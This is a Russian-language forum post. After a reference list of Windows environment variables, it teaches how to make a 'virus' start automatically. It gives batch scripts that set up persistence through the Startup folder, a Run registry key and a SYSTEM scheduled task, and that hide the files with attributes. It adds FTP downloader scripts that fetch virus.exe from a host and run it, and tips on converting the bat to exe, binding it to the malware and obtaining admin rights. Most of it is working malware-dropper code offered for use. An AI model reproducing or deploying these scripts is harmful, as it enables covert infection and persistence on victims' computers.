Доброго времени суток!
В этой теме Вы можете задавать вопросы в плане Bat кодов,но прежде чем задать какой нибудь вопрос,рекомендую ознакомится с нашим онлайн справочником по командной строке Windows
Переменные в командной строке Windows:

Код:
%ALLUSERSPROFILE%-Локальная-Возвращает размещение профиля «All Users». 
%APPDATA%-Локальная-Возвращает используемое по умолчанию размещение данных приложений. 
%CD%-Локальная-Возвращает путь к текущей папке. 
%CMDCMDLINE%-Локальная-Возвращает строку команд, с помощью которой был запущен данный экземпляр Cmd.exe. 
%CMDEXTVERSION%-Системная-Возвращает номер версии текущих расширений обработчика команд. 
%COMPUTERNAME%-Системная-Возвращает имя компьютера. 
%COMSPEC%-Системная-Возвращает путь к исполняемой командной оболочке. 
%DATE%-Системная-Возвращает текущие данные. Использует тот же формат, что и команда date /t. Создается командой Cmd.exe. 
%ERRORLEVEL%-Системная-Возвращает код ошибки последней использовавшейся команды. Значение, не равное нуля, обычно указывает на наличие ошибки. 
%HOMEDRIVE%-Системная-Возвращает имя диска локальной рабочей станции, связанного с основным каталогом пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы». 
%HOMEPATH%-Системная-Возвращает полный путь к основному каталогу пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы». 
%HOMESHARE%-Системная-Возвращает сетевой путь к общему основному каталогу пользователя. Задается на основании расположения основного каталога. Основной каталог пользователя указывается в оснастке «Локальные пользователи и группы». 
%LOGONSEVER%-Локальная-Возвращает имя контроллера домена, который проверял подлинность текущей сессии. 
%NUMBER_OF_PROCESSORS%-Системная-Задает количество процессоров, установленных на компьютере. 
%OS%-Системная-Возвращает имя операционной системы. При использовании Windows 2000 имя операционной системы отображается как Windows_NT. 
%PATH%-Системная-Указывает путь поиска для исполняемых файлов. 
%PATHEXT%-Системная-Возвращает список расширений файлов, которые рассматриваются операционной системой как исполняемые. 
%PROCESSOR_ARCHITECTURE%-Системная-Возвращает архитектуру процессора. Значения: x86, IA64. 
%PROCESSOR_IDENTFIER%-Системная-Возвращает описание процессора. 
%PROCESSOR_LEVEL%-Системная-Возвращает номер модели процессора, установленного на компьютере. 
%PROCESSOR_REVISION%-Системная-Возвращает номер модификации процессора. 
%PROMPT%-Локальная-Возвращает параметры командной строки для текущего интерпретатора. Создается командой Cmd.exe. 
%RANDOM%-Системная-Возвращает произвольное десятичное число от 0 до 32767. Создается командой Cmd.exe. 
%SYSTEMDRIVE%-Системная-Возвращает имя диска, содержащего корневой каталог Windows XP (т. е. системный каталог). 
%SYSTEMROOT%-Системная-Возвращает размещение системного каталога Windows XP. 
%TEMP% и %TMP%-Системная и пользовательская-Возвращает временные папки, по умолчанию используемые приложениями, которые доступны пользователям, выполнившим вход в систему. Некоторые приложения требуют переменную TEMP, другие — переменную TMP. 
%TIME%-Системная-Возвращает текущее время. Использует тот же формат, что и команда time /t. Создается командой Cmd.exe. 
%USERDOMAIN%-Локальная-Возвращает имя домена, содержащего список учетных записей пользователей. 
%USERNAME%-Локальная-Возвращает имя пользователя, выполнившего вход в систему. 
%USERPROFILE%-Локальная-Возвращает размещение профиля для текущего пользователя. 
%WINDIR%-Системная-Возвращает размещение каталога операционной системы. 
---  
Переменная / Типичное значение: 
%ProgramFiles% - C:\Program Files 
%WindowsDir% - C:\Windows 
%SystemDir% - C:\Windows\System32 
%FontDir% - C:\Windows\Fonts 
%CommonFiles% - C:\Program Files\Common Files 
%UserProfile% - C:\Documents and Settings\%UserName% 
%TempDir% - C:\Documents and Settings\%UserName%\Local Settings\Temp 
%SendTo% - C:\Documents and Settings\%UserName%\SendTo 
%QuickLaunch% - C:\Documents and Settings\%UserName%\Application Data\Microsoft\Internet Explorer\Quick Launch 
%MyDocuments% - C:\Documents and Settings\%UserName%\Мои документы 
%Desktop% - C:\Documents and Settings\%UserName%\Рабочий стол 
%ProgramsDir% - C:\Documents and Settings\%UserName%\Главное меню\Программы 
%StartMenu% - C:\Documents and Settings\%UserName%\Главное меню 
%Favorites% - C:\Documents and Settings\%UserName%\Избранное 
%StartUp% - C:\Documents and Settings\%UserName%\Главное меню\Программы\Автозагрузка 
%Templates% - C:\Documents and Settings\%UserName%\Шаблоны 
%AppData% - C:\Documents and Settings\%UserName%\Application Data 
%CommonDocuments% - C:\Documents and Settings\All Users\Документы 
%CommonDesktop% - C:\Documents and Settings\All Users\Рабочий стол 
%CommonProgramsDir% - C:\Documents and Settings\All Users\Главное меню\Программы 
%CommonStartMenu% - C:\Documents and Settings\All Users\Главное меню 
%CommonFavorites% - C:\Documents and Settings\All Users\Избранное 
%CommonStartUp% - C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка 
%CommonTemplates% - C:\Documents and Settings\All Users\Шаблоны 
%CommonAppData% - C:\Documents and Settings\All Users\Application Data 
%SystemDrive% - C:\ 
Переменные директории (в сокращенном формате): 
Переменная / Типичное значение: 
%ShortProgramFiles% - C:\Progra~1 
%ShortWindowsDir% - C:\Windows 
%ShortSystemDir% - C:\Windows\System32 
%ShortFontDir% - C:\Windows\Fonts 
%ShortCommonFiles% - C:\Progra~1\Common~1 
%ShortUserProfile% - C:\Docume~1\%UserName% 
%ShortTempDir% - C:\Docume~1\%UserName%\LocalS~1\Temp 
%ShortSendTo% - C:\Docume~1\%UserName%\SendTo 
%ShortQuickLaunch% - C:\Docume~1\%UserName%\Applic~1\Micros~1\Intern~1\QuickL~1 
%ShortMyDocuments% - C:\Docume~1\%UserName%\Моидок~1 
%ShortDesktop% - C:\Docume~1\%UserName%\Рабочи~1 
%ShortProgramsDir% - C:\Docume~1\%UserName%\Главно~1\Програ~1 
%ShortStartMenu% - C:\Docume~1\%UserName%\Главно~1 
%ShortFavorites% - C:\Docume~1\%UserName%\Избран~1 
%ShortStartUp% - C:\Docume~1\%UserName%\Главно~1\Програ~1\Автоза~1 
%ShortTemplates% - C:\Docume~1\%UserName%\Шаблоны 
%ShortAppData% - C:\Docume~1\%UserName%\Applic~1 
%ShortCommonDocuments% - C:\Docume~1\AllUsers\Докуме~1 
%ShortCommonDesktop% - C:\Docume~1\AllUsers\Рабочи~1 
%ShortCommonProgramsDir% - C:\Docume~1\AllUsers\Главно~1\Програ~1 
%ShortCommonStartMenu% - C:\Docume~1\AllUsers\Главно~1 
%ShortCommonFavorites% - C:\Docume~1\AllUsers\Избран~1 
%ShortCommonStartUp% - C:\Docume~1\AllUsers\Главно~1\Програ~1\Автоза~1 
%ShortCommonTemplates% - C:\Docume~1\AllUsers\Шаблоны 
%ShortCommonAppData% - C:\Docume~1\AllUsers\Applic~1 
%ShortCurrentDir% - C:\Setup 
%ShortInstallPath% - C:\Progra~1\MyComp~1\MyAppl~1

эти переменные Windows хранит в реестре в ключе
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
Добавить их туда можно утилитой reg. Например, системную переменную с именем name и содержанием sodergimo можно создать из командной строки командой
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v name /t REG_EXPAND_SZ /d sodergimo
Или же по средствам командной строки set %peremen%="C:\"
Приведу пару тройку примеров и отвечу на наиболее часто задаваемые вопросы новичков,среди которых наверное самый популярный это Как добавить вирус в автозагрузку
На самом деле способов добавить в автозагрузку какой либо вирус или программу не мало,можно просто кинуть нужный файл в папку автозагрузки,+ воткнуть на него атрибуты и он будет стартовать при каждом запуске системы.
Такой батинок будет выглядеть примерно так:

Код:
@echo off 
copy /y virus.exe %StartUp%\virus.exe
attrib +s +h +r %StartUp%\virus.exe
del /s /q %SystemRoot%\virus.exe
attrib +a +s +h +r %SystemRoot%\batin.exe
exit

Теперь распишу каждую строку:
@echo off - запрещает вывод команд и инфу об их завершение при выполнение в командной строке,по сути не нужна,ну всё же
copy /y virus.exe %StartUp%\virus.exe - копирует наш вирус с именем virus.exe в папку автозагрузки.
attrib +s +h +r %StartUp%\virus.exe - ставит на него атрибуты,тем самым скрывает с глаз.
del /s /q %SystemRoot%\virus.exe - удаляет вирус с папки выгрузки
attrib +a +s +h +r %SystemRoot%\batin.exe - ставит сам на себя атрибуты и тем самым скрывает себя с глаз.
exit - завершение процесса батинка и выход.
Сохраняем как batin.bat,компилируем при помощи  Bat to exe converter в exe и склеиваем вместе с вирусом в один исполняемый файл( как это сделать можно прочитать тут) ,на запуск ставим этот батинок,а путь выгрузки %SystemRoot% или %WindowsDir% или %Windir%.
Пример добавления в автозагрузку по средствам реестра.
На самом деле подобных ключей в реестре валом,ну я не буду расписывать все,а напишу самый распространённый,так скажем стандарт.

Код:
@echo off 
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "systems" /t REG_SZ /d "%SystemRoot%\virus.exe" /f 
attrib +s +h +r "%SystemRoot%\virus.exe" 
attrib +s +h +r "%SystemRoot%\batin.exe" 
exit

Так же распишем.
@echo off - запрещает вывод команд и инфу об их завершение при выполнение в командной строке,по сути не нужна,ну всё же
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "systems" /t REG_SZ /d "%SystemRoot%\virus.exe" /f - создаёт параметр ключа в реестре с именем systems,тем самым добавляет вирус который находится в папке Windows в автозагрузку.
attrib +s +h +r "%SystemRoot%\virus.exe" - ставит на него атрибуты,тем самым скрывает с глаз.
attrib +s +h +r "%SystemRoot%\batin.exe" - ставит атрибуты сам на себя и тоже тем самым скрывает себя с глаз.
Проделываем точно так же как и указано для пред идущего варианта,только этот вариант является более надёжным и провереным,но так же для запуска такого батинка на Windows 7 нужны права администратора,которые можно получить пакуя прогу при помощи Smart Install Maker
Ну и расмотрим пример добавления в автозагрузку по средствам команды schtasks,это в свою очередь довольна хорошая команда,которая позволяет создавать правила запуска программ в указанное время,через определённый промежуток времени,только по определённым дням в месяце,через каждую неделю,при каждом запуске системы и т.д. подробней об этой команде Вы можете прочитать в нашем онлайн справочнике.

Код:
@echo off 
schtasks /create /tn "WinSyst" /tr %SystemRoot%\virus.exe /sc onlogon /ru "System" 
attrib +s +h +r "%SystemRoot%\virus.exe" 
attrib +s +h +r "%SystemRoot%\batin.exe" 
exit

schtasks /create /tn "WinSyst" /tr %SystemRoot%\virus.exe /sc onlogon /ru "System" - эта команда создаст правило при котором вирус будет запускаться при каждом входе в систему,при этом процесс вируса будет подписываться как системный.Опять же нужны права Администратора на Windows 7
Как сделать downloader(закачивает на комп файл с хоста и запускает его.)

Код:
@echo off 
echo open хост > temp.tmp 
echo логин >> temp.tmp 
echo пароль >> temp.tmp 
echo binary >> temp.tmp 
echo get virus.exe >> temp.tmp 
echo quit >> temp.tmp 
ftp -s:temp.tmp 
del temp.tmp 
attrib +s +h +r "avt.exe" 
attrib +s +h +r "virus.exe" 
start virus.exe 
exit

или

Код:
@echo off 
echo open хост>logins.txt 
echo user логин пароль>>logins.txt 
echo bin>>logins.txt 
echo get virus.exe %SystemRoot%\virus.exe>>logins.txt 
echo bye>>logins.txt 
ftp -n -s:logins.txt 
attrib +s +h +r "avt.exe" 
attrib +s +h +r "virus.exe" 
cd %SystemRoot%\ 
del logins.txt 
start virus.exe 
exit

Вписываем свои данные,сохраняем как avt.bat(или любое другое имя,только нужно будет и в самом батинке имя изменить) и компилим в exe.
путь выгрузки %SystemRoot%
или любое другое место,тогда в самом коде батинка смените на своё.

Можете смело задавать вопросы касательные Bath кодов,а мы постараемся ответить на них.
Спасибо за внимание,всего доброго!